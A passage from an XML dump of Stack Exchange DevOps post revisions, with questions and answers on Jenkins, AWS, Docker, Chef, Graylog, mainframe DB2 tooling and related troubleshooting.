**continue developing Hudson**, essentially making Jenkins a fork because the code started to diverge. There is some dispute about whether this is really a fork or a rename, although it's more an argument over semantics than constructive discussion.&#xA;&#xA;As of now:&#xA;&#xA;- Jenkins has become the predominant version, and [interest in Hudson has collapsed](https://en.wikipedia.org/wiki/Hudson_(software))&#xA;&#xA;- Hudson is now [managed by the Eclipse Foundation](https://eclipse.org/hudson/), after Oracle gave up development and donated the code to Eclipse." ContentLicense="CC BY-SA 4.0" />
  <row Id="36328" PostHistoryTypeId="5" PostId="8" RevisionGUID="1be7a1a3-b411-4cfb-a0e6-2a22268f69d2" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I think you want [Amazon Snowball][1], it's a HD shipping service by Amazon to/from AWS.&#xA;&#xA;&gt; Snowball is a petabyte-scale data transport solution that uses secure appliances to transfer large amounts of data into and **out** of the AWS cloud. &#xA;&gt;&#xA;&gt;With Snowball, you don’t need to write any code or purchase any hardware to transfer your data. Simply create a job in the AWS Management Console and a Snowball appliance will be automatically shipped to you&#xA;&#xA;&#xA;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36329" PostHistoryTypeId="5" PostId="2916" RevisionGUID="aba32aa9-e8d4-4220-b626-55fb4e888a72" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="&gt;**Important**&#xA;&gt;&#xA;&gt;Since AWS CloudFormation templates use the JSON syntax for specifying objects and data, you will need to add an additional backslash to any backslash characters in your regular expression, or JSON will interpret these as escape characters.&#xA;&gt;&#xA;&gt;For example, if you include a `\d` in your regular expression to match a digit character, you will need to write it as `\\d` in your JSON template.&#xA;&#xA;http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-regexes.html&#xA;&#xA;The very same applies to your `\s` expressions. Use `\\s` and it works.&#xA;&#xA;**EDIT:**&#xA;&#xA;Looking back the question I started to wonder the missing quotation marks on your definition. I found out the expessions are yaml format that is the second way to define things in aws. &#xA;&#xA;If you should follow the yaml syntax, the right way to give string values is like this:&#xA;&#xA;    AllowedPattern = '/[^\s@]+@[^\s@]+\.[^\s@]+/'&#xA;&#xA;https://aws.amazon.com/blogs/aws/aws-cloudformation-update-yaml-cross-stack-references-simplified-substitution/&#xA;&#xA;**EDIT:**&#xA;&gt;Use quotes if your value includes special characters, (e.g. :, {, }, [, ], ,, &amp;, *, #, ?, |, -, &lt;, &gt;, =, !, %, @, \).&#xA;&#xA;https://stackoverflow.com/questions/19109912/do-i-need-quotes-for-strings-in-yaml&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36330" PostHistoryTypeId="5" PostId="292" RevisionGUID="d1128e87-26e1-475f-ad7e-7d73a1978299" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Assume somebody familiar with DevOps and mainframes, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xA;&#xA;- investigate the feasibility of managing data stored in personal files (PDSes, i.e. [partitioned data sets](https://en.wikipedia.org/wiki/Data_set_(IBM_mainframe)#Partitioned_data_sets)) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xA;&#xA;After some kind of (minimal) Jenkins [installation][3] and [configuration][4] got completed, the actual question becomes &quot;**`Which of the typical Jenkins plugins, if any, would be needed?`**&quot;. From the various Jenkins plugins that appear to make sense in my case, it seems that these are possible candidates (quotes are from the linked pages):&#xA;&#xA;- [IBM zOS Connector][5].&#xA;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xA;  &gt;&#xA;  &gt; Features include:&#xA;  &gt;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xA;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][6].&#xA;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xA;&#xA;Since the 1st plugin is about SCLM (which is all about PDSes), and the 2nd plugin explicitly states support for PDSes (in its name), I trust both are possible candidates. &#xA;&#xA;So assuming my shortlist is complete (is it?), what are the pros and cons of either one that should help me decide which one is best for my case?&#xA;&#xA;Ps: Something like a &quot;Jenkins Kickstart&quot; package doesn't seem to exist (at least I've not found it yet).&#xA;&#xA;&#xA;  [1]: https://jenkins.io/&#xA;  [2]: https://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275&#xA;  [3]: https://www.tutorialspoint.com/jenkins/jenkins_installation.htm&#xA;  [4]: https://www.tutorialspoint.com/jenkins/jenkins_configuration.htm&#xA;  [5]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xA;  [6]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="36331" PostHistoryTypeId="5" PostId="751" RevisionGUID="bf0c86a4-f248-48ae-9fae-db9b8c2605e1" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="&gt;Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xA;&gt;&#xA;&gt;Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xA;&#xA;I view this as both a failure to standardize process across teams and a management problem if people aren't sticking to process. Individual teams should be flexible in terms of how they manage their people, but processes should be transparent and followed.&#xA;&#xA;Imagine a fast-food chain restaurant. Each restaurant may re-organize things a bit according to the architecture of their specific location, to best suit their needs. However, the general components and the ingredients and the intended SLAs for delivery will be the same. An employee should be easily able to transfer between any location with some minor re-orientation.&#xA;&#xA;Challenges faced by each 'location' means you may need to regularly re-visit the overall strategy, and you should be 'trying things out' in various teams and regularly rolling those changes back into the overall process. Process is just like software delivery, too.&#xA;&#xA;&gt;Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xA;&#xA;Again, need authoritative control and agreement between teams... a corporate brand with many locations, not a food court of different franchises.&#xA;&#xA;Etsy has their famous example of 'schema change thursday', where they allow non-contract-breaking-changes to be deployed as often as needed, but anything that will require coordinated change between systems happens on a specific day every week." ContentLicense="CC BY-SA 4.0" />
  <row Id="36332" PostHistoryTypeId="5" PostId="784" RevisionGUID="50147a95-9b38-42e5-95a6-54ceb0d0b59c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="It seems like ***forget*** in this context is not really what it sounds like. Instead it is rather something like &quot;*`Don't keep me waiting for the process to complete, so that I can do something else while the process is running. And when the process is done (succeeded or failed), we'll continue processing with whatever is next`*&quot;.&#xA;&#xA;An example '*for which using &quot;fire and forget&quot; in Jenkins does make sense*' (as in my question) is creating parallel chains to reduce the duration of  pipelines, and combine it with using the [Join plugin][1]. Some more details about this plugin (from the linked page):&#xA;&#xA;&gt; This plugin allows a job to be run after all the immediate downstream jobs have completed. In this way, the execution can branch out and perform many steps in parallel, and then run a final aggregation step just once after all the parallel work is finished.&#xA;&gt;&#xA;&gt; The plugin is useful for creating a 'diamond' shape project dependency.   This means there is a single parent job that starts several downstream jobs. Once those jobs are finished, a single aggregation job runs.&#xA;&#xA;&#xA;&#xA;&#xA;  [1]: http://wiki.jenkins-ci.org/display/JENKINS/Join+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="36333" PostHistoryTypeId="5" PostId="811" RevisionGUID="39c3bd9b-2868-434c-bff8-11893cb42a88" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="To answer this question in the context of a mainframe environment, and specific to DB2® databases, there are typically 2 commonly used (not cheap ...) alternatives to pick from:&#xA;&#xA;- [Object Administration for DB2®][1], from BMC. Here are some details about it (quote from the linked page):&#xA;&#xA;  &gt; Making changes to objects in your database—or even just performing routine administrative tasks—can be difficult, risky work. There are dozens of tasks to keep track of, and a single misstep could have a disastrous impact on availability and data integrity. You can cut back on both effort and risk with BMC Object Administration for DB2 11, a collection of tools to help you:&#xA;  &gt;&#xA;  &gt; - Reduce the time required to administer complex and disparate DB2 environments.&#xA;  &gt; - Automate routine tasks throughout the application lifecycle for improved integrity.&#xA;  &gt; - Improve productivity with simplified DB2 catalog navigation and change management.&#xA;  &gt; - Enhance application availability by performing changes and maintenance with minimal outages.&#xA;&#xA;- [DB2 Administration Tool for z/OS][2], from IBM.&#xA;&#xA;  &gt; It simplifies the complex tasks associated with safely managing DB2 objects and schema throughout the application lifecycle with the least possible impact to availability.&#xA;  &gt;&#xA;  &gt; - Allows users to navigate the DB2 catalog quickly and easily&#xA;  &gt; - Builds and executes dynamic SQL statements without knowing the exact SQL syntax&#xA;  &gt; - Manages and tracks changes made to DB2 object definitions resolving any potential conflicts prior to execution&#xA;  &gt; - Helps build DB2 commands to execute against databases and tables&#xA;  &gt; - Enables users to create, alter, migrate, drop and reverse engineer DB2 objects&#xA;  &gt; - Builds and executes utility jobs, allowing users to take advantage of LISTDEFs and TEMPLATEs for increased productivity&#xA;&#xA;### Integration with SCM tools&#xA;&#xA;Some time ago I was challenged by a customer to actually &quot;integrate&quot; the BMC alternative in their SCM lifecycle (managed by [SERENA ChangeMan ZMF][3]). The idea behind such integration being &quot;*Consider our DB2 DBA-team (doing stuff with DDLs) as a special case of a development team, accidentally using some exotic editor (the BMC tool) to produce the code (DDL) to be migrated*&quot;.&#xA;&#xA;About the only (but *real*!) challenge about this integration was to also facilitate &quot;restartability&quot;, which is one of the key benefits of such DBA tool:&#xA;&#xA;- *Restartability* means that when this DBA tool is doing its thing (via sometimes long running jobs, as per the nature of the work to be completed), unexpected things may happen (deadlocks, time abends, etc).&#xA;&#xA;- If any of those things happen, and you don't want to restart from your backup (before you started), then the DBA tool expects you to restart from the (check-)point from which things started to go wrong (and from where you want everything to be re-executed).&#xA;&#xA;- Better still (or should I say &quot;even worse&quot;?), if a newbee to the DBA tool doesn't real know how to restart from such checkpoint, and simply tries again (from the beginning), then the DBA tool will simply fail with some kind of user error. And this with an indication with something like &quot;*Until you tell me how you want me to proceed after my last point of failure, I refuse to do anything (to not make things even worse)*&quot;.&#xA;- In the end, the real clue to implement this restartability in the SCM tool being used, required the SCM tool to be tuned also. Actually to allow it to be used for *restarting failed SCM procedures* (typically related to deliveries to target test/prod environments) ... instead of just *submitting the failed SCM procedure all over again* (which is how typically those SCM tools recover from such situations).&#xA;&#xA;Bonus: after the SCM integration of the BMC alternative got completed, the customer decided to change their DBA tool to the IBM alternative. And even though both alternatives don't really look the same, the impact of it to the SCM integration was rather minimal: simply a matter of replacing (in some reusable SCM customization) some calls to the BMC alternative by the equivalent calls to the IBM alternative ... which (using DevOps terminology) got implemented by [tag:feature-flags] / [tag:feature-toggles].&#xA;&#xA;&#xA;  [1]: http://www.bmc.com/it-solutions/object-administration-db2.html&#xA;  [2]: http://www-03.ibm.com/software/products/en/db2admin&#xA;  [3]: http://serena.com/products/changeman-zmf/index.html&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36334" PostHistoryTypeId="5" PostId="2697" RevisionGUID="25ffed13-69ab-4212-85bd-443fe2d01a0f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Should the normal startup functionality of w10 work?&#xA;&#xA;&gt;To change which apps run at startup, press and hold (or right-click) the Start  button, select Task Manager, and then select the Startup tab. Choose an app, then select Enable or Disable.&#xA;&gt;&#xA;&gt;To add or remove an app from the Startup tab, press the Windows Logo Key  + R, type shell:startup, and then select OK. This opens the Startup folder. Select Start . Find the app you're looking to add or remove, and press and hold (or right-click) it. Select More &gt; Open File Location. In the file location folder, press and hold (or right-click) the app and select Copy. Paste the shortcut to your app into the Startup folder to have it run at startup.&#xA;&#xA;Info from:&#xA;&#xA;https://support.microsoft.com/en-us/help/4026268/windows-change-startup-apps-in-windows-10" ContentLicense="CC BY-SA 4.0" />
  <row Id="36335" PostHistoryTypeId="5" PostId="2666" RevisionGUID="361b1217-3827-439a-9993-d43ab3b8fae0" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="There is [another manual][1] for enabling reverse lookup DNS in azure.&#xA;&#xA;&gt; **Will my reverse DNS records resolve from the internet?**&#xA;&gt; &#xA;&gt; Yes. Once you set the reverse DNS property for your Azure service,&#xA;&gt; Azure manages all the DNS delegations and DNS zones required to ensure&#xA;&gt; that reverse DNS record resolves for all Internet users. &#xA;&gt;&#xA;&gt; **Are default reverse DNS records created for my Azure services?**&#xA;&gt; &#xA;&gt; No. Reverse DNS is an opt-in feature. No default reverse DNS records&#xA;&gt; are created if you choose not to configure them.&#xA;&#xA;It seems that reverse dns has to be enabled if it is used internally.&#xA;&#xA;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/dns/dns-reverse-dns-for-azure-services" ContentLicense="CC BY-SA 4.0" />
  <row Id="36336" PostHistoryTypeId="5" PostId="2456" RevisionGUID="dd353bbe-670d-4d17-968c-420d454fba23" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="No, you don't need maven.&#xA;&#xA;Maven is a build automation tool as ant and gradle are, generally, but not limited to, jvm based projects.&#xA;&#xA;Nexus is an artifact repository, but some others exists.&#xA;Artifact repositories software have different set of features (license, different storage options, different repositories type support like gems or npm ..., search support, web interface ...).&#xA;&#xA;&gt; I know that once a developer pushes a code to git, Jenkins should take it and run the test case on it.&#xA;&gt;&#xA;&gt; If it is success then push it to production? Am I right? I'm not sure about the flow.&#xA;&#xA;&#xA;&#xA;Generally, in order to achieve continuous deployment, which is what you are asking for precisely here, you would:&#xA;&#xA; 1. setup a hook when you commit&#xA; 2. have a continuous integration tool that receive the hook&#xA; 3. the CI does whatever needs to be done for the project to be tested / build / runnable&#xA; 4. the CI deploys the previously built software&#xA;&#xA;Jenkins, for example, supports pipeline as code, it would allow you to put a `Jenkinsfile` in your repository, that would tell Jenkins how to do step 3 and 4 (travis and circleCI and others CI also supports this).&#xA;&#xA;You can tell your CI in steps 3 to upload some artifacts to an artifact repository and on step 4, to retrieve them in order to deploy the software, but you don't need to.&#xA;&#xA;My advice would be to design your CD system the simplest way you can, don't introduce not necessary parts like an artifact repository if you don't need it, add it when you face a problem that needs it.&#xA;&#xA;As a first step, your CI, can during the deployment steps, simply copy your artifacts to the target server." ContentLicense="CC BY-SA 4.0" />
  <row Id="36337" PostHistoryTypeId="5" PostId="2417" RevisionGUID="08718544-41fa-481e-9c83-9f46bf3ab4f0" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="## Graylog&#xA;&#xA;Since two people already advised you to rethink your current process (which I second since it will cause you sleepless nights at some point ;)), I will go another route and recommend a specific piece of software which - in my opinion - fits most of your needs: [Graylog](https://www.graylog.org/).&#xA;&#xA;I implemented and used a couple of [ELK stacks](https://www.elastic.co/webinars/introduction-elk-stack) for both log aggregation and business intelligence and also run/maintain graylog for about two years now at my current employer. I recommend graylog since it has the following features built-in and is - in my opinion - a bit easier to setup and maintain:&#xA;&#xA;- A web-interface&#xA;- Multiuser capabilities&#xA;- Alerting&#xA;&#xA;As far as I understand your scenario, it looks as if you need to act or be alerted on certain events that appear in your stream of log messages. If we look at the [Graylog features](https://www.graylog.org/features):&#xA;&#xA;&gt; Trigger actions or get notified when something needs attention, such as failed login attempts, exceptions or performance degradation.&#xA;&gt;&#xA;&gt;Ideas: Send an email or Slack message to your team. Spawn a new machine to balance the processing load. Block IP ranges in your firewalls automatically when an attack is detected.&#xA;&#xA;To give graylog a try I'd recommend the following two steps:&#xA;&#xA;- Setup a dedicated host which is reachable by all you application hosts to run graylog (and its dependencies MongoDB and ElasticSearch)&#xA;- Send logs from your application to graylog (possibly as [GELF](http://docs.graylog.org/en/2.3/pages/gelf.html) messages)&#xA;&#xA;Note: These two steps have the ability to fill pages and pages of best practices and should receive at least a couple of thoughts. Not to mention that graylog isn't a monitoring solution and graylog itself should be monitored by a proper monitoring tool (like e.g. Icinga, Prometheus, Nagios to name just a few)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36338" PostHistoryTypeId="5" PostId="2377" RevisionGUID="b7f2acda-89d9-44c6-9552-300035bc6e10" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="This is a textbook example of server [orchestration][1] and is something that Chef inherently is not intended to do. As noted by Tensibai, a server running Chef is a convergent system that achieves its own desired state based upon configuration settings set by recipes, attributes, data bags, etc. Without getting in to specific details about your infrastructure, a few approaches that you might be able to take are:&#xA;&#xA;**Create independent idempotent operations**&#xA;&#xA;As you stated in your question, creating a state of operation where your nodes could run repeatedly until all tasks have completed does not scale well. It may be possible however to redesign your nodes so that it doesn't matter. If nodes a and b run tasks to output their logs in parallel, and b completes before a, it could run the task that node a would normally run and vice-versa.  &#xA;&#xA;**Use an external orchestrator for delegation** &#xA;&#xA;Using a delegator node will definitely scale much better if you intend to have many nodes to orchestrate. However, this could create conflicts with your chef client runs on the nodes being managed by the delegator. It would be very difficult to verify that your node configurations and the delegator node tasks do not conflict with each other. A clever way to manage this could be to incorporate the tasks in the configuration of each node and have the delegator set a value in a data bag or and attribute of the server to signal how it should configure itself (i.e. what tasks it needs to perform). &#xA;&#xA;**Combine your infrastructure**&#xA;&#xA;If each node runs it tasks serially depending upon the other nodes, and you have no cost/technical dependencies on running tasks on different nodes, You may want to consider combining your node configurations into one single node. This would eliminate any configuration conflicts you would have between any of your nodes. I imagine there are clear intentions for running your tasks on different nodes, but this is definitely an option to consider (maybe even at the cost of time to rewrite tasks for different nodes). &#xA;&#xA;  [1]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36339" PostHistoryTypeId="5" PostId="2297" RevisionGUID="579c40eb-ed4d-42a1-9828-5da224d88f79" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I am using docker compose to build two containers, one is nodejs with pm2 and another is nginx. &#xA;&#xA;The nginx one runs well but the nodejs with pm2 one keeps restarting: it runs for one second, then stops for ~10 seconds, then starts again and runs for one second, as you can see this is the output of `docker ps -a`:&#xA;&#xA;[![docker ps -a][1]][1]&#xA;&#xA;I have used `docker attach 'ID'` but it still restarted.&#xA;&#xA;Using `docker logs` shows nothing, but jenkins says that pm2 was started successfully:&#xA;&#xA;[![jenkins output log][2]][2]&#xA;&#xA;This is the content of my Dockerfile:&#xA;&#xA;    FROM node:8    &#xA;    MAINTAINER test    &#xA;    RUN npm install -g pm2&#xA;    &#xA;    WORKDIR /var/www/marketing    &#xA;    &#xA;    EXPOSE 80    &#xA;&#xA;    RUN npm install    &#xA;    RUN pm2 start npm -- stage&#xA;&#xA;If any of you could help me, I will update this question if you guys have any request.&#xA;Thank you&#xA;&#xA;  [1]: https://i.stack.imgur.com/kgHub.png&#xA;  [2]: https://i.stack.imgur.com/yUpyb.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36340" PostHistoryTypeId="5" PostId="2268" RevisionGUID="55881b25-8115-4828-a4d9-277522c98759" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="The article you are referencing mentions encrypted RAM but that was only a reference to possibilities of enhancing the technology more in the future, not about the current state of confidential computing.&#xA;&#xA;Confidential computing means, that when data is in use these things are prevented:&#xA;&#xA;&gt;  - Malicious insiders with administrative privilege or direct access to hardware on which it is being processed&#xA;&gt;&#xA;&gt;  - Hackers and malware that exploit bugs in the operating system, application, or hypervisor&#xA;&gt;&#xA;&gt;  - Third parties accessing it without their consent&#xA;&#xA;[according to Microsoft own announcement](https://azure.microsoft.com/en-us/blog/introducing-azure-confidential-computing/) &#xA;&#xA;So in other words, it is kind of equivalent to encryption and firewall that are seen in communication but this time applied to running programs in a Trusted Execution Environment (TEE), which the term for the area which is protected when server runs a program. &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36341" PostHistoryTypeId="5" PostId="2039" RevisionGUID="86961cfc-cfd2-4f8b-81cb-d817c0cf1f69" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="If your git repos is a private github, you can use [github methods][1] (deploy keys is very powerful).&#xA;&#xA;If your repos are not hosted on github or they don't provide read-only deploy key feature, The two options you mentioned are both valuable.&#xA;&#xA;## Single DevOps guy&#xA;If you are the only person working on the project and Your machine/machines are the only you will run ansible from (no CD tools like jenkins and friends) you're good to go with the agent forwarding option: is likely less possible that you forget your private key unencrypted around.&#xA;&#xA;## Small Team&#xA;If you are a team of people working on the same Ansible playbook or multiple people that run the playbook then you have both options:&#xA; &#xA;&#xA; - keep the agent-forwarding option; every teammate run the script from his machine.&#xA;&#xA; -  create a deployer key-pair, upload the pub-key and encrypt the private with vault as suggested by [Berlin][2]. The key is encrypted and the scope of the private key is restricted to only 1 or few repos. The problem with this approach is that you have to rotate the vault password every time a teammate leave the team.&#xA;&#xA;I would never put my personal private key, which has a wide scope, in any possibly unsafe place. Vault encryption is as good as the people that uses it and there's a lot of keys/passwords in cleartext out there :)&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  [1]: https://developer.github.com/v3/guides/managing-deploy-keys/&#xA;  [2]: https://devops.stackexchange.com/users/342/berlin" ContentLicense="CC BY-SA 4.0" />
  <row Id="36342" PostHistoryTypeId="5" PostId="1960" RevisionGUID="b3b56540-e894-4ec6-90ae-661c61114f04" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Here I created docker container which use the `mariadb` image and created three volumes as below.&#xA;&#xA;### docker-compose.yml&#xA;&#xA;    version: '2.0'&#xA;&#xA;    services:&#xA;      mariadb:&#xA;      image: mariadb:latest&#xA;      restart: always&#xA;      container_name: mariadb&#xA;      environment:&#xA;        - MYSQL_ROOT_PASSWORD=root&#xA;        - MYSQL_DATABASE=testdb&#xA;      ports:&#xA;       - 3307:3306&#xA;      volumes:&#xA;       - ./database:/var/lib/mysql&#xA;       - ./_conf/mariadb.cnf:/etc/mysql/my.cnf:ro&#xA;       - ./logs:/var/log/mysql&#xA;&#xA;First two volume works successfully but I can't able to find mariadb-logs files into `logs` folder. I seems `logs` folder showing blank on host as well as on container(/var/log/mysql). I think host folder override into docker file system. &#xA;&#xA;If I remove this volume(`./logs:/var/log/mysql`) from docker-compose then logs files are showing on container.&#xA;&#xA;My plan is to mount `/var/log/mysql/` folder to local machine.&#xA;&#xA;Thanks !&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36343" PostHistoryTypeId="5" PostId="1941" RevisionGUID="c4fea9c2-8a17-4c33-9486-728dcbd321ac" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I looked for that too but I don't think you can as these are the ports used by Google to do LB:&#xA;&#xA;&gt; HTTP requests can be load balanced based on port 80 or port 8080. HTTPS requests can be load balanced on port 443.&#xA;&gt;&#xA;&gt; TCP Proxy Load Balancing supports the following ports: 25, 43, 110, 143, 195, 443, 465, 587, 700, 993, 995, 1883, 5222&#xA;&#xA;From: [GCP HTTP(S) LB][1] and [GCP TCP LB][2]&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  [1]: https://cloud.google.com/compute/docs/load-balancing/http/&#xA;  [2]: https://cloud.google.com/load-balancing/docs/tcp/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36344" PostHistoryTypeId="5" PostId="1933" RevisionGUID="cb11fc08-101a-49d9-bd02-75221344626f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Hello I want the following behaviour. &#xA;&#xA;A want my job to be parametrized. The thing is that I want to select a unique parameter with multiple values. &#xA;&#xA;I have a unique parameter named number with 2 options (1, 2) and then set of values linked to each option:&#xA;&#xA;&gt; Parameter name: var &#xA;&gt;&#xA;&gt; Options: &#xA;&gt;&#xA;&gt; 1&#xA;&gt;&#xA;&gt; 2&#xA;&#xA;Let´s say:&#xA;&#xA; - One set of values: &#xA;&#xA;&gt;  - value1: &quot;1.0.0&quot;&#xA;&gt;  - value2: &quot;myname&quot; &#xA;&gt;  - value3:&quot;build/libs&quot;&#xA;&#xA; - Another set of values:&#xA;&#xA;&gt;  - value1: &quot;2.0.0&quot;&#xA;&gt;  - value2: &quot;myname2&quot; &#xA;&gt;  - value3: &quot;var/lib&quot;&#xA;&#xA;In the &quot;Build section&quot; I select &quot;Execute shell&quot; with the following lines:&#xA;&#xA;    echo ${var.value1}&#xA;    echo ${var.value2}&#xA;    echo ${var.value3}&#xA;&#xA;So when building the job I would like to select from a dropdown list with 2 values as said above: 1 and 2.&#xA;&#xA;If I select 1, I would like to take the first set of values so that it would dislplay:&#xA;&#xA;    1.0.0&#xA;    myname&#xA;    build/libs&#xA;&#xA;On the other hand if I select 2, I would like to display the second set of values:&#xA;&#xA;    2.0.0&#xA;    myname2&#xA;    var/lib&#xA;&#xA;I have tried &quot;Extended Choice Parameter plugin&quot; but I don´t know how to manage this situation.&#xA;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="36345" PostHistoryTypeId="5" PostId="1872" RevisionGUID="ef50b633-4244-4118-8a65-e704a49eb82a" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Using jenkins to pull from bitbucket repository, I got this error:&#xA;&#xA;&gt; git@bitbucket.org:source/source.git +refs/heads/*:refs/remotes/origin/*&quot; returned status code 128:&#xA;stdout: &#xA;stderr: repository access denied. deployment key is not associated with the requested repository.&#xA;fatal: Could not read from remote repository.&#xA;&#xA;I have added ssh keys in the bitbucket repo, I have run ssh -v git@bitbucket.org and this is the output:&#xA;&#xA;&gt; authenticated via a deploy key.&#xA;&gt;&#xA;&gt; You can use git or hg to connect to Bitbucket. Shell access is disabled.&#xA;&gt;&#xA;&gt;This deploy key has read access to the following repositories:&#xA;&gt;&#xA;&gt;source/source: root.staging_quc -- root@QUICKRESPONSE&#xA;debug1: channel 0: free: client-session, nchannels 1&#xA;Connection to bitbucket.org closed.&#xA;Transferred: sent 2968, received 1872 bytes, in 0.0 seconds&#xA;Bytes per second: sent 82471.7, received 52017.2&#xA;debug1: Exit status 0&#xA;&#xA;I don't really know what to do, hope you guys have any clue on this one I will update this question" ContentLicense="CC BY-SA 4.0" />
  <row Id="36346" PostHistoryTypeId="5" PostId="1834" RevisionGUID="f0056310-72fe-4f5c-a1f5-be48c8f3b42c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="If you're interested in only backing up configs, try installing the [SCM Sync Configuration Plugin][1]. This plugin syncs with a repo each time you change either a job or the Jenkins configs, but does not keep builds.&#xA;&#xA;&gt; SCM Sync Configuration Jenkins/Hudson plugin is aimed at 2 main features :&#xA;&gt;&#xA;&gt; Keep sync'ed your config.xml (and other ressources) jenkins/hudson files with a SCM repository&#xA;&gt;&#xA;&gt; Track changes (and author) made on every file with commit messages&#xA;&#xA;As a bonus you can set it to take a commit message each time you change a job, for easier restoration if necessary. &#xA;&#xA;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/SCM+Sync+configuration+plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="36347" PostHistoryTypeId="5" PostId="1721" RevisionGUID="e68e25a1-51f5-43df-8a33-90e0874a7788" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="DevOps is a continuous improvement in delivery cycles and meeting customer needs with top quality , less time and security without compromise on cost and performance. And of-course repeat the cycles with feedback from customers.&#xA;&#xA;Ideally there is **NO** getting it all **&quot;Done&quot;** on DevOps. This question is rather a tricky one because its similar to asking &#xA;&#xA;&gt; When are you done with development or sales of a software in  a Software&#xA;&gt; company?&#xA;&gt;&#xA;&gt; Ans: Obviously once the company shuts down or you get kicked out !&#xA;&#xA;Similarly there is no **Done** for DevOps culture. Of course there are deliverable and mile stones which one needs to complete like automating mundane repeated tasks , CICD pipelines etc&#xA;&#xA;A very good explanation for DevOps given by IBM DevOps head.&#xA;&#xA;https://www.youtube.com/watch?v=EIvOZA1HgHU&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36348" PostHistoryTypeId="5" PostId="1655" RevisionGUID="8438e139-cdfb-4b00-8c21-0f99567b2677" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm trying to implement [this][1] pre-cooked package of NGINX, PHP-FPM, MySQL, E-L-K.&#xA;&#xA;Everything is working fine but the connection with the database. It throws a ConnectionException.&#xA;&#xA;I'm not really sure if the program should try to access *172.18.0.4* instead of *172.18.0.3*, and where does this configuration comes from.&#xA;&#xA;**The IPs of my containers are:**&#xA;&#xA;&gt; /dockersymfony_elk_1 - 172.18.0.2&#xA;&gt;&#xA;&gt; /dockersymfony_nginx_1 - 172.18.0.5&#xA;&gt;&#xA;&gt; /dockersymfony_php_1 - 172.18.0.3&#xA;&gt;&#xA;&gt; /dockersymfony_db_1 - 172.18.0.4&#xA;&#xA;**The error:**&#xA;&#xA;&gt; [Doctrine\DBAL\Exception\ConnectionException]                                                                            &#xA;  An exception occured in driver: SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.18.0.3' (using password: YES)&#xA;&#xA;What could be happenning? Is there a way to check a mysql connection manually?&#xA;&#xA;  [1]: https://github.com/carlosas/full-docker-for-symfony-3" ContentLicense="CC BY-SA 4.0" />
